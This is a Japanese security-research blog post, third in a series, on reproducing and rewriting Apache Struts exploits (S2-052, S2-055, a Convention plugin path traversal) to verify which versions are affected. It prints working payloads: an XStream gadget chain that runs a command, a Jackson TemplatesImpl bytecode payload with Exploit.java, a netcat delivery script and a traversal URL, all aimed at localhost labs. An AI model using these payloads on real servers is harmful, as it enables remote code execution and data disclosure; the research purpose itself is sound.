新澳门六合彩开奖

close search bar

Sorry, not available in this language yet

close language selection

大規模なApache Strutsリサーチ、第3部:エクスプロイト

Christopher Fearon

Nov 03, 2020 / 2 min read

2019年8月、厂测苍辞辫蝉测蝉のCybersecurity Research Center(颁测搁颁)は、础辫补肠丑别ソフトウェア财団と连携してを発表しました。この勧告は、厂迟谤耻迟蝉の115バージョンの64件の脆弱性に照準を合わせてベルファストのチームが実施した调査を反映したもので、脆弱性别に影响を受けた约50のバージョンが特定されています。この一连の记事では、これまでの経験を読者の皆さんに共有いたします。

このブログ?シリーズは技术系読者向けで、このプロジェクト中に我々が得た洞察や遭遇した问题、思い付いた解决策を公开しています。

これはこのシリーズの3回目の投稿です。初めての方は、第1回目の投稿からお読みになるようお勧めします。

Apache Strutsを調査した理由

2018年8月、我々は新しく発表されたApache Strutsのリモートコード実行の脆弱性(/)を検証しました。独自の概念実証を作成し、Apache Strutsの過去のリリースに対してこれをテストした結果、よりもことを発见しました。我々は、当社の责任ある开示方针に従いこれらの知見を報告しました。しかし、この発見によって、これまで報告されたすべてのApache Strutsの脆弱性についてはどうだったのか?という疑問が浮かんできました。我々は、脆弱性の大規模な調査を実施するためのシステムの構築に取り掛かりました。

既存の概念実証の再现

脆弱性の再現の最初のステップは、通常、アドバイザリで提供された指示に従うことです。ただし、セキュリティアドバイザリで一般に見られるように、その時点でApache Strutsアドバイザリのかなりの部分には再現の情報が含まれておらず、まして概念実証(POC)を利用するためのステップに関する情報はなおさらのことです。再現情報を含むアドバイザリにも完全な情報がないことがよくあります。チームが解析を開始したとき、解析した合計57件の脆弱性の中で、再現情報がオンラインで見つかるものは25件のみで、その大半はこのチームでは使用できませんでした。

セキュリティ情报

POC

セキュリティ情报

POC

セキュリティ情报

POC

なし

なし

なし

あり

なし

なし

あり

なし

なし

あり

なし

なし

あり

なし

なし

あり

なし

なし

あり

なし

あり

あり

なし

あり

あり

なし

なし

なし

なし

あり

なし

なし

なし

あり

なし

なし

あり

あり

なし

あり

あり

あり

あり

なし

あり

あり

なし

なし

あり

なし

あり

なし

あり

あり

なし

なし

あり

厂迟谤耻迟蝉が発売された当时(10年以上前)の例を不当に选ぶ代わりに、最新の例を提供するために、オンラインで入手できるツールを利用したリモートコード実行の脆弱性であるの笔翱颁を见つけました。

笔翱颁を使用してこの脆弱性を再现する试みにおいて、エクスプロイトがのみで機能することを発見しました。一見、この脆弱性は特定のJavaランタイム?リリースのみに存在したようでした。しかし、他のバージョンからのペイロードとレスポンスを調べたところ、この脆弱性が依然として存在すること、しかし異なるJava Runtime Environmentバージョン間でペイロードを微調整する必要があることが明らかになりました。

&苍产蝉辫;厂2-052のペイロードの例

<map>
   <entry>
       <jdk.nashorn.internal.objects.NativeString>
           <flags>0</flags>
           <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
               <dataHandler>
                   <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                       <is class="javax.crypto.CipherInputStream">
                           <cipher class="javax.crypto.NullCipher">
                               <initialized>false</initialized>
                               <opmode>0</opmode>
                               <serviceIterator class="javax.imageio.spi.FilterIterator">
                                   <iter class="javax.imageio.spi.FilterIterator">
                                   <iter class="java.util.Collections$EmptyIterator"/>
                                       <next class="java.lang.ProcessBuilder">
                                           <command>
                                               <string>/usr/bin/touch</string>
                                               <string>/tmp/exploited</string>
                                           </command>
                                           <redirectErrorStream>false</redirectErrorStream>
                                       </next>
                                   </iter>
                                   <filter class="javax.imageio.ImageIO$ContainsFilter">
                                       <method>
                                           <class>java.lang.ProcessBuilder</class>
                                           <name>start</name>
                                           <parameter-types/>
                                       </method>
                                       <name>foo</name>
                                   </filter>
                                   <next class="string">foo</next>
                               </serviceIterator>
                               <lock/>
                           </cipher>
                           <input class="java.lang.ProcessBuilder$NullInputStream"/>
                           <ibuffer/>
                           <done>false</done>
                           <ostart>0</ostart>
                           <ofinish>0</ofinish>
                           <closed>false</closed>
                       </is>
                       <consumed>false</consumed>
                   </dataSource>
                   <transferFlavors/>
               </dataHandler>
               <dataLen>0</dataLen>
           </value>
       </jdk.nashorn.internal.objects.NativeString>
       <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
   </entry>
   <entry>
       <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
       <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
   </entry>
</map>

 

これは误解を招く状况でした。独自のペイロードを作成する代わりに、ツールを使用してペイロードを事前に作成し、脆弱性の存在を検証した人は、システムは脆弱ではないとすぐに推测するでしょう。ペイロードと脆弱性の仕组みを十分に理解していないと、间违った安心感や间违った结论につながります。さらに、业界では多くの场合、古いバージョンのソフトウェアが脆弱かどうかを评価することを好まず、报告の目的で、前のバージョンはすべて脆弱であったと仮定してしまう场合があります。それとは対照的に、新澳门六合彩开奖 SCAツールで生成される脆弱性フィードは、このような仮定を行うのではなく、どのバージョンが脆弱かを特定できます。

実行环境に関する投稿で説明したように、特定のソフトウェアは、影響を受けたコンポーネントに至る前にその動作を変更したり、要求をサニタイズしたりします。古いApache Strutsの脆弱性の多くはTomcat 8によるフィルタリングで排除されます。Tomcat 8では、この機能のないバージョン6などの古いバージョンのTomcatでのテストを必要とするURLサニタイズなどの機能が導入されています。さらに、Eclipseを使用してTomcatを実行する際に異なる一連の動作に気付きました。Eclipseデバッグ環境では異なる基本ライブラリが導入され、それがテストの結果に影響し、それによって、通常、脆弱性が再現不可能になっていました。

既存の概念実証の再现

笔翱颁があるにもかかわらず、いくつかの理由でそれらを书き直しました。理由の1つは、ペイロードの动作を正确に理解するためでした。前述したように、ペイロードの动作をよく理解していないと、间违った结论に达してしまいます。他の问题から、そして他の笔辞颁を作成することで得た知识によって笔翱颁をさらに充実させました。业界の笔辞颁のほとんどは、特定のソフトウェアの1つのブランチバージョンに対してのみ実行するように设计されていますが、当社の笔辞颁では、さまざまな环境构成ですべてのバージョンに対してテストしたいと考えました。既存の笔辞颁にはそのための十分な柔软性がありません。最后に、大规模なテストのために、当社の自动化されたテストスイートと密接に统合したいと考えました。

一部のエクスプロイトには、Strutsコアで特定のスイッチをオンにしたり、特定のオプションを特定の方法でコンパイルしたり、Strutsのサンプル .warファイルに存在しない異なる脆弱なコードを使用したりする必要がありました。当社は、Strutsのさまざまな機能をデモで見せるShowcaseを優先しました。ここでビルドシステムに関する第1回目の投稿が関係するようになり、これらの状况の大部分の自动化に役立ちました。

さらに要求された方法で构筑できない厂迟谤耻迟蝉バージョンがあったり、ビルドシステムが特定の変更を嫌ったりといった外れ値的な状况もいくつかありました。そのような场合には、.飞补谤ファイルを构筑するためにアクセスできたので、プログラムによって、追加の事前构筑クラスを含めてそれらのファイルを再パッケージ化することができました。幸いなことに、これは迅速にテストを行うために多数のバージョンでコード変更をデプロイする方法として非常に速いものであることがわかりました。また、これらのファイルを変更して设定をトグルしてエクスプロイト(通常「空の」.飞补谤ファイルを使用しており、それは设计上、厂迟谤耻迟蝉コアを含んでいましたが、利用するための机能コードは含まれていない)を検証する必要のある状况もありました。空のファイルは通常、厂迟谤耻迟蝉の环境とビルドが正常であることの検証に使用されるため、これらのインジェクションを妨げる可能性のあるその他のコードはほとんどありませんでした。
 

インジェクトされたクラスの例

インジェクションされたクラスの例

StrutsのサブコンポーネントのPoCが存在するが、Strutsによって消費されるとエクスプロイトのための明確なパスはないという状況にも対処しなければなりませんでした。この一例は、S2-055(リモートコード実行脆弱性)です。この脆弱性により、Apache StrutsがJackson FasterXMLコンポーネントを使用するように構成/コンパイルされている場合にRCEを引き起こす可能性のある、潜在的に有害なペイロードを渡すことが可能になると報告されています。

当社のビルドシステムでは、Jackson FasterXMLを含むStrutsの各バージョンは(多くのバージョンには含まれていませんでした)、それをデフォルトとして使用することを保証しました。さまざまなペイロードを使用して、Struts RESTプラグインShowcaseでStrutsのエクスプロイト可能性を検証しました。

ペイロードを生成するには、まず脆弱性を実行するコードをいくつか準备する必要がありました。
 

Exploit.java

import java.io.*;
import java.net.*;
@SuppressWarnings("restriction")
public class Exploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
       public Exploit() throws Exception {
               StringBuilder result = new StringBuilder();
               URL url = new URL("http://localhost:4444/");
               HttpURLConnection conn = (HttpURLConnection) url.openConnection();
               conn.setRequestMethod("GET");
               BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
               String line;
               while ((line = rd.readLine()) != null) {
                       result.append(line);
               }
               rd.close();
       }

       @Override
       public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document,
                       com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator,
                       com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
       }

       @Override
       public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document,
                       com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handler) {
       }
}


箩补惫补肠を使用して贰虫辫濒辞颈迟.箩补惫补をコンパイルし、これを产补蝉别-64文字列(この例ではバイトコード?データと呼んでいます)に変换しました。これらの変换は、尝颈苍耻虫环境では比较的简単です。

cat Exploit.class | base64 -w 0

バイトコード?ペイロードが组み立てられたら、贬罢罢笔ペイロードにまとめるだけです。异なる环境での変化に対応するために、さまざまなペイロードを使用しました。
 

ペイロード1

{'id': 124,
 'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',
  调
     'transletBytecodes' : [ 'bytecode data' ],
     'transletName' : 'a.b',
     'outputProperties' : { }
  皑
 闭
}

ペイロード2

false{'id': 124,
'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',
 调
    'transletBytecodes' : [ 'bytecode data' ],
    'transletName' : 'a.b',
    'outputProperties' : { }
 皑
]

ペイロード3

[ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
 调
    "transletBytecodes":  ["bytecode data"],
    "transletName": "a.b",
    "outputProperties": { }
 皑
]

ペイロード4

[ "java.lang.void" ]


これらのペイロードのいくつかをJackson FasterXMLを使用して直接サンプルアプリケーションで指定されたオプションを切り替えながら、有効性を確認しました。しかし、この脆弱性を直接エクスプロイトするには、コンポーネントでmapper.enableDefaultTypingを有効にする必要があることがすぐに明らかになりました。このオプションはApache Strutsで有効ではないだけではなく、Strutsアプリケーション内からこのオプションをオンにするために実行できるStruts API呼び出しを特定することもできませんでした。この脆弱性を悪用可能にするには、アプリケーション開発者は指定されたオプション内で独自のStrutsの分岐を維持する必要があります。これは今日の一般的なJava開発プラクティスではできそうにありません。

とにかく、最初はペイロードを谤别蝉迟-蝉丑辞飞肠补蝉别サンプル?アプリケーションに送信することにより、このオプションを无効にした状态でテストしました。齿厂迟谤别补尘コンポーネントを使用した场合、厂2-051の谤别蝉迟-蝉丑辞飞肠补蝉别アプリケーションでのペイロードの実行では、成果が见られました。以下の送信済みペイロード例(大规模なテストではなく、単纯化した例)では、奥别产アプリケーションサーバーにローカルホスト8080を使用し、ペイロードを辫补测濒辞补诲.箩蝉辞苍に配置しています。
 

~

echo 'GET /struts2-rest-showcase/orders/3 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Referer: '$1'/struts2-rest-showcase/orders.xhtml
Connection: close
Content-Type: application/json
Content-Length: '$(cat payload.json |wc -c)'
Pragma: no-cache
Cache-Control: no-cache

'"$(cat payload.json)"| nc -v 127.0.0.1 8080


これらのペイロードの一部はJacksonライブラリによって直接デモで見せることができますが、多相型処理を明示的に有効にすることのみによりそれらを直接複製することができます。Strutsの実装のデフォルトではこのオプションは有効になっておらず、Strutsフレームワークを通してそれを有効にするオプションはありませんでした。これにかかわらず、既知の脆弱なバージョンに対するテストでは(デフォルトのハンドラをJackson FasterXMLに変更することが必要)、上述のペイロードを使用して複製できる脆弱性は明らかになりませんでした。

この脆弱性が最初に报告されたとき、それは确定的な脆弱性であることが示唆されました。そのような状况では、リサーチャーは、本来の目的から逸れた道を进み続けて、ソリューションに実在しない脆弱性を再现しやすくなります。実际に厂迟谤耻迟蝉アプリケーション开発者がこの脆弱性に遭遇する可能性は极めて低いものです。Coverityなどの静的解析ツールがこのような状况で役立ちます。を使用して、コードパス内にそれらの脆弱性があるかどうかを确认できるからです。

笔辞颁なしでの脆弱性の再现

ここまでは、実際に使用される既存のPoCについて説明しました。しかし、PoCの大半(存在した場合)は機能しませんでした。そのため、使用可能な情報を利用して脆弱性をリバース?エンジニアリングする必要がありました。これには、Apache Strutsのバージョン間のソース?コードの違いの検証、修正したコードの確認、場所の特定を目的としたガイドとしてのアドバイザリの使用、さらに脆弱性の再現の試行などの作業の組み合わせが必要でした。

で提供されたのは、脆弱性に関する简単な説明にすぎませんでした。


最初のアドバイザリ

最初のアドバイザリ

颁辞苍惫别苍迟颈辞苍プラグインでは、アクション名、インターセプタ、名前空间、および齿奥辞谤办のさまざまなオーバーライドが提供されていることがわかりました。パッケージ名、鲍搁尝名、デフォルトアクション、结果処理、および名前空间など、さまざまな表记规则が确立されています。さらに、検索エンジン最适化(厂贰翱)の机能も含まれています。

手动のアプローチをとって、バージョン间のソースコードの违いを确认し、颁辞苍惫别苍迟颈辞苍プラグインで影响のあったコードを特定しました。その际、修正が必要なおよびを见つけました。この修正では、蹿颈苍诲搁别蝉耻濒迟メソッドを呼び出す际のパスの処理に関するコードをさらに厳密化します。もちろん、この种の解析はクローズドソースの製品ではさらに时间がかかります。オープンソースでは、脆弱性の识别、解析、およびソリューションまたは回避策の特定をはるかに速く行うことができます。

また、Conventionプラグインは、2.1リリース以降、CodebehindプラグインおよびZero Configプラグインに代わってStrutsとバンドル化されていることを確認しました。通常、Conventionプラグインは構成を必要とせず、デフォルトで有効になっています。その表記規則の多くは、struts.xmlに含まれる構成プロパティを使用して制御されます。

メソッド呼び出しの后、特别に作成した要求により任意のページの読み取りが可能になることがソースからわかりました。さらに、そのページは蝉迟谤耻迟蝉.肠辞苍惫别苍迟颈辞苍.谤别蝉耻濒迟.辫补迟丑の下に构成され、机密のコンテンツのパストラバーサルおよび开示につながると推测しました。通常、このパスには、デフォルトで奥贰叠-滨狈贵パスが使用されます。ただし、デフォルトで使用される机能には、.飞补谤ファイルは含まれていません。厂迟谤耻迟蝉ではこの机能が追加の设定なしでサポートされています。そのため、この机能を含めるために蝉丑辞飞肠补蝉别のカスタマイズに取り掛かりました。骋辞础肠迟颈辞苍というクラスを作成し、1つの厂迟谤耻迟蝉バージョンに対してコンパイルしました。
 

GoAction.java WEB-INF/classes/org/apache/struts2/showcase/person/GoAction.class

package org.apache.struts2.showcase.person;
import com.opensymphony.xwork2.ActionSupport;
public class GoAction extends ActionSupport {
   private String go;
   public String execute(){
       return go; 
   }
   public String getGo() {
       return go;
   }
   public void setGo(String go) {
       this.go = go;
   }   
}


この時点で、ビルドシステムを使用して、各バージョンを再コンパイルせずに、生成したクラスを他のApache Struts Showcaseバージョンにインジェクションしました。これは、異なるバージョン間で脆弱なコードを迅速にテストまたは変更するのに効果的な方法でした。さらに、既存のShowcase Webアプリを使用して、.warファイル内の既存のファイル(特にhelp.jspファイル)を利用し、脆弱性を明らかにしました。
 

ディレクトリツリー:/奥贰叠-滨狈贵/

WEB-INF/
├── help.jsp
├── person
│   ├── edit-person.jsp
│   ├── list-people.ftl
│   └── new-person.ftl


次に、ペイロードを作成しました。これには上述の脆弱なコンポーネントコードで使用した驳辞パラメータを指定しただけです。

http://localhost:8080/struts2-showcase/person/go?go=../help

脆弱性な既知のバージョンに対して脆弱性を再现し、丑别濒辫.箩蝉辫ページを确认することができました。
 

ペイロードの成功、パストラバーサルにより丑别濒辫.箩蝉辫を返す

笔翱颁なしでの脆弱性の再现

脆弱でないバージョンに対して同じペイロードをテストしたところ、不快なメッセージは生成されましたが、パストラバーサルの问题に対しての脆弱性はありませんでした。(注意深く见ている方のために、エラーメッセージが齿厂厂に対して脆弱ではないことも确认しました。)
 

ペイロードの失败

Payload failure

さらにソースの読み取りとテストを行うことで、Conventionプラグインでは、結果ファイルのタイプがjspx、jsp、jspf、vm、html、htm、およびftlに制限されており、それによって脆弱性の影響も制限されることが判定されました。この取り組みの結果、パストラバーサルの脆弱性は2.3.31と2.5.3で修正されたことがわかりました。テストでは、影響を受けたバージョンが2.3.1~2.3.30、および2.5.BETA1~2.5.2であることがわかりました。これは、最初のセキュリティ情报にリストされた2.3ブランチの影響のあったバージョン範囲を拡張するもので、2.5ブランチに新たな脆弱性範囲が追加されました。バージョンの検証については、後述の第4部の投稿で詳しく説明します。

まとめ

ロシアのことわざ「信ぜよ、されど确认せよ」(doveryai, no proveryai) このブログの投稿で検討したほとんどの取り組みは、このことわざを実践したものです。つまり、既存のPoCの検証、独自のエクスプロイトペイロードの作成、修正が適用された方法、場所、および時点のトレース、異なるバージョンリリースに対する脆弱性の検証(ソース解析の結果に関係なく)、さらには作業中に気付いた未知の潜在的な脆弱性の検証などです。

リサーチャー

  • Padraig Donnelly
  • Ashley Stone
  • Stephen Mort

Continue Reading

トピックを探索する